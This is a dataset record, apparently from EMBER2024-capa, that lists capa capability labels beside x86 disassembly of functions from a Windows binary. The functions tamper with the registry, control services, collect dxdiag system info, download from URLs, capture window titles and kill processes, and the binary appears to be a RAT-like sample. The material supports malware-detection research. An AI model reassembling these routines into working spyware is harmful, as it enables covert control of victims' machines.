joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c683
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40c6d3
push esi
lea ecx, [ebp + 0xc]
call fcn.00402010
push eax
lea ecx, [ebp + 0xc]
call fcn.00402018
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40c6d5
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c6e4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c722
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c724
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c728
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c780
push esi
lea ecx, [ebp + 0xc]
call fcn.00402010
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00404386
push eax
push 1
push 0
push str.pth_unenc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40c782
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.004034ef
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c791
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40c7dd
push esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x4589c0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c7df
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c7e3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c821
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c823
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40c827
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c865
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c867
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c8cf
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40c8eb
xor al, al
jmp 0x40c8fd
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret
Function at 0x40c901
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xabb4
call fcn.004494a0
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x4a0]
push esi
push eax
mov ebx, ecx
call fcn.0042d620
add esp, 0xc
mov dword [ebp - 0x14], 0x104
lea eax, [ebp - 0x50]
mov dword [ebp - 4], esi
mov dword [ebp - 8], 0x3fff
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4a0]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40c9df
test eax, eax
je 0x40c9df
lea eax, [ebp - 0x50]
mov dword [ebp - 0x18], 0xff
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40c9d9
push 0x458b88
lea ecx, [ebp - 0x34]
call fcn.004034f9
push eax
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x68]
call fcn.00408a3c
pop ecx
push eax
mov ecx, 0x466fc8
call fcn.00405c18
lea ecx, [ebp - 0x68]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
inc esi
cmp esi, dword [ebp - 4]
jb 0x40c979
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40cb21
xor esi, esi
test eax, eax
je 0x40cb21
xor eax, eax
mov byte [ebp - 0x5c], 0
lea edi, [ebp - 0x5b]
mov dword [ebp - 0xc], 0x2710
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3fff
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0xabb0], ax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xabb0]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x40cb17
push 0xa
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x1c]
call fcn.00436328
add esp, 0xc
lea ecx, [ebp - 0x80]
push 0x458b88
call fcn.004034f9
push eax
lea edx, [ebp - 0xabb0]
lea ecx, [ebp - 0x34]
call fcn.00408a3c
pop ecx
push eax
mov ecx, 0x466fe0
call fcn.00405c18
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x80]
call fcn.004034ef
push 0x45856c
lea ecx, [ebp - 0x34]
call fcn.00402168
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x80]
call fcn.00402a5d
pop ecx
push eax
mov ecx, 0x466ff8
call fcn.0040205e
lea ecx, [ebp - 0x80]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
push str._regsplt_
lea ecx, [ebp - 0x98]
call fcn.00402168
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x2bb0]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040218f
mov edx, eax
lea ecx, [ebp - 0x80]
call fcn.0040623e
pop ecx
push eax
mov ecx, 0x467090
call fcn.0040205e
lea ecx, [ebp - 0x80]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
lea ecx, [ebp - 0x98]
call fcn.00402081
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x40c9f4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d5d8
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and dword [eax], 0
push edi
push ecx
mov dword [ebp - 4], edx
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x40d658
cmp word [esi + 8], 2
jne 0x40d63a
push 4
pop eax
cmp word [esi + 0xa], ax
jne 0x40d63a
mov edi, dword [esi + 0xc]
jmp 0x40d634
push dword [eax]
mov edx, dword [ebp + 8]
push dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
call fcn.0040d56f
mov ecx, eax
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
test ecx, ecx
je 0x40d653
lea eax, [ecx + 0x1c]
add edi, 4
mov dword [ebp + 0x14], eax
mov eax, dword [edi]
test eax, eax
jne 0x40d610
push 0x400
push dword [esi]
push 0x401
push ebx
call fcn.00433f93
add esp, 0x10
xor eax, eax
jmp 0x40d676
push 8
pop eax
jmp 0x40d676
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x2af9
sub eax, ecx
je 0x40d674
sub eax, 1
je 0x40d686
sub eax, 1
je 0x40d67f
sub eax, 1
mov eax, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, 0x2afb
jmp 0x40d676
mov eax, 0x2afa
jmp 0x40d676
Function at 0x40dc6e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
cmp dword [0x468634], 0
mov dword [ebp - 0x18], str.getaddrinfo
mov dword [ebp - 0x14], 0x40d826
mov dword [ebp - 0x10], str.getnameinfo
mov dword [ebp - 0xc], 0x40daa6
mov dword [ebp - 8], str.freeaddrinfo
mov dword [ebp - 4], fcn.0040d7e8
jne 0x40ddd0
push 0x104
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40ddc6
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
mov ebx, 0x10c
push eax
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.00435ef4
push str.ws2_32
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.00435f4e
add esp, 0x18
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, eax
xor edi, edi
test esi, esi
je 0x40dd2d
push str.getaddrinfo
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40dd29
push esi
call ebx
mov esi, edi
test esi, esi
jne 0x40dd87
lea eax, [ebp - 0x22c]
mov esi, 0x10c
push eax
lea eax, [ebp - 0x124]
push esi
push eax
call fcn.00435ef4
push str.wship6
lea eax, [ebp - 0x124]
push esi
push eax
call fcn.00435f4e
add esp, 0x18
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40ddc3
push str.getaddrinfo
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40dd83
push esi
call ebx
mov esi, edi
test esi, esi
je 0x40ddc3
mov ebx, edi
push dword [ebp + ebx*8 - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + ebx*8 - 0x14], eax
test eax, eax
je 0x40dda4
inc ebx
cmp ebx, 3
jl 0x40dd89
jmp 0x40ddad
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, edi
test esi, esi
je 0x40ddc3
mov eax, dword [ebp + edi - 0x14]
mov dword [edi + 0x4639d8], eax
add edi, 8
cmp edi, 0x18
jl 0x40ddb1
pop edi
pop esi
pop ebx
mov dword [0x468634], 1
mov eax, dword [0x4639d8]
mov esp, ebp
pop ebp
ret
Function at 0x40fa87
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push str._sysinfo.txt
push str.temp
call fcn.00430f52
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004074d1
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ef
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push ebx
push eax
mov edx, 0x45e068
lea ecx, [ebp - 0x30]
call fcn.00408a60
pop ecx
mov ecx, eax
call fcn.00404386
push eax
push str.dxdiag
push 0x458578
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x18]
call fcn.004021b9
mov esi, ebx
lea ecx, [ebp - 0x48]
call fcn.00404386
lea edx, [ebp - 0x18]
mov ecx, eax
call fcn.00413402
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x18]
inc esi
call fcn.00405dca
test al, al
je 0x40fb2e
cmp esi, 0x4b0
jl 0x40faff
lea ecx, [ebp - 0x18]
call fcn.00405dca
test al, al
jne 0x40fbb6
lea ecx, [ebp - 0x48]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
lea ecx, [ebp - 0xc8]
call fcn.0040152a
push ecx
lea ecx, [ebp - 0xc8]
call fcn.004016fe
test al, al
je 0x40fbab
sub esp, 0x18
lea eax, [ebp - 0x18]
mov esi, esp
lea edx, [ebp + 8]
push eax
push ecx
lea ecx, [ebp - 0x30]
call fcn.004043af
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040438b
pop ecx
push 0x97
lea ecx, [ebp - 0xc8]
call fcn.004018d7
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0xc8]
call fcn.00401c3f
mov bl, 1
lea ecx, [ebp - 0xc8]
call fcn.00401cfd
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41011e
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x84]
push ebx
push esi
push edi
push eax
push str._nF2
call fcn.00402168
push eax
push str.Temp
call fcn.00430f5d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.00402a5d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040438b
pop ecx
lea ecx, [ebp - 0x6c]
call fcn.00402081
lea ecx, [ebp - 0x84]
call fcn.00402081
push ecx
push ecx
push 0x10
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
lea ecx, [ebp - 0x138]
call fcn.00409fc8
lea ecx, [ebp - 0x138]
call fcn.0041035b
test al, al
je 0x41024f
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x138]
call fcn.0041036b
lea ecx, [ebp - 0x138]
call fcn.00409f79
and dword [ebp - 0x4c], 0
lea ecx, [ebp - 0x18]
and dword [ebp - 0x48], 0
mov dword [ebp - 0x54], 0x3c
mov dword [ebp - 0x50], 0x40
call fcn.00402018
movaps xmm0, xmmword [0x45e8f0]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x54]
push eax
movups xmmword [ebp - 0x40], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
mov esi, 0x458550
mov edi, 0x467140
setne bl
cmp dword [ebp - 0x1c], 0
je 0x410239
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402168
push 0x70
mov ecx, edi
call fcn.004018d7
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp bl, 1
jne 0x41026a
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402168
push 0x6e
mov ecx, edi
jmp 0x410265
sub esp, 0x18
mov ecx, esp
push 0x458550
call fcn.00402168
push 0x6f
mov ecx, 0x467140
call fcn.004018d7
lea ecx, [ebp - 0x138]
call fcn.00409b36
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp + 8]
call fcn.00402081
lea ecx, [ebp + 0x20]
call fcn.00402081
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411e60
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x20
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x20
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x411e98
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x411eb6
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411ec7
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x11
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf003f
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x411f02
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x411f53
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x411f23
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov bl, 2
jmp 0x411f53
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
jne 0x411f23
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sbb ebx, ebx
and ebx, 0xfffffffe
add ebx, 3
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411f64
Capabilities:
Pause service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x411f9c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x411fba
lea eax, [ebp - 0x1c]
push eax
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x411fcb
Capabilities:
Continue service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0x40
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x412003
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x412021
lea eax, [ebp - 0x1c]
push eax
push 3
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412032
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 2
xor ebx, ebx
mov byte [ebp - 1], cl
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 2
lea ecx, [ebp + 8]
mov esi, eax
call fcn.00404386
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x41206b
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4120af
movzx eax, byte [ebp - 1]
or ecx, 0xffffffff
sub eax, ebx
je 0x412088
sub eax, 1
je 0x412084
sub eax, 1
jne 0x41208b
push 3
jmp 0x41208a
push 2
jmp 0x41208a
push 4
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
setne bl
call esi
push edi
call esi
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4120d4
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push ecx
lea ecx, [ebp - 0x18]
call fcn.00408742
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00404386
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x412153
mov esi, 0x467478
mov edx, 0x458550
mov ecx, esi
call fcn.00403f73
test al, al
je 0x412142
sub esp, 0x18
cmp byte [0x464caf], 0
mov ecx, esp
push 0x45e10c
je 0x41212c
call fcn.00402168
mov ecx, 0x467490
jmp 0x412136
call fcn.00402168
mov ecx, 0x4670a8
push 0xa1
call fcn.004018d7
jmp 0x412162
lea ecx, [ebp - 0x18]
call fcn.00404386
mov edx, eax
mov ecx, esi
call fcn.00413474
lea ecx, [ebp - 0x18]
call fcn.00404386
mov ecx, eax
call fcn.0041216f
lea ecx, [ebp - 0x18]
call fcn.004034ef
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4121c4
Capabilities:
Check if file exists

Disassembly:
push ebx
push ecx
mov ecx, 0x467478
mov bl, dl
call fcn.00402067
test bl, bl
je 0x4121dc
pop ebx
jmp fcn.004120d4
pop ebx
ret
Function at 0x4123a8
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.004125e0
cmp eax, 0xffffffff
jne 0x4123e9
lea ecx, [ebp + 8]
call fcn.00404386
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.0040878c
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.00405c2a
lea ecx, [ebp - 0x18]
call fcn.004034ef
mov ecx, esi
call fcn.00402010
lea ecx, [ebp + 8]
test eax, eax
je 0x4124c8
call fcn.00404386
mov edx, eax
mov ecx, esi
call fcn.00413474
push str._alias_audio
mov edx, edi
lea ecx, [ebp - 0x78]
call fcn.00412e4a
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.00408a60
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004074d1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.004089a2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004074d1
pop ecx
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x60]
call fcn.004034ef
lea ecx, [ebp - 0x78]
call fcn.004034ef
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.00404386
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x458550
call fcn.00402168
push 0xa9
mov ecx, 0x467490
call fcn.004018d7
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4669e4], eax
jmp 0x41258f
call fcn.00404386
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x412409
sub esp, 0x18
mov ecx, esp
push 0x458550
call fcn.00402168
push 0xa8
mov ecx, 0x467490
call fcn.004018d7
jmp 0x4125d1
cmp byte [0x464cae], bl
je 0x412517
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x464cae], bl
cmp byte [0x464cad], bl
je 0x41252f
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x464cad], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x412562
inc ecx
cmp ecx, 8
jne 0x412547
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41258a
push dword [0x4669e4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x4124be
mov eax, dword [0x4669e4]
test eax, eax
jne 0x4124ff
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x458550
call fcn.00402168
push 0xaa
mov ecx, 0x467490
call fcn.004018d7
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x412c6c
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x412cee
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x412cee
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x412ce5
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.00430cc6
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x412ce5
push esi
push edi
push eax
call fcn.0042d620
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412cf7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push edi
mov edi, 0x200
mov esi, ecx
push edi
push 0
push eax
call fcn.0042d620
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push edi
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.004034f9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x412d69
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x412d91
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
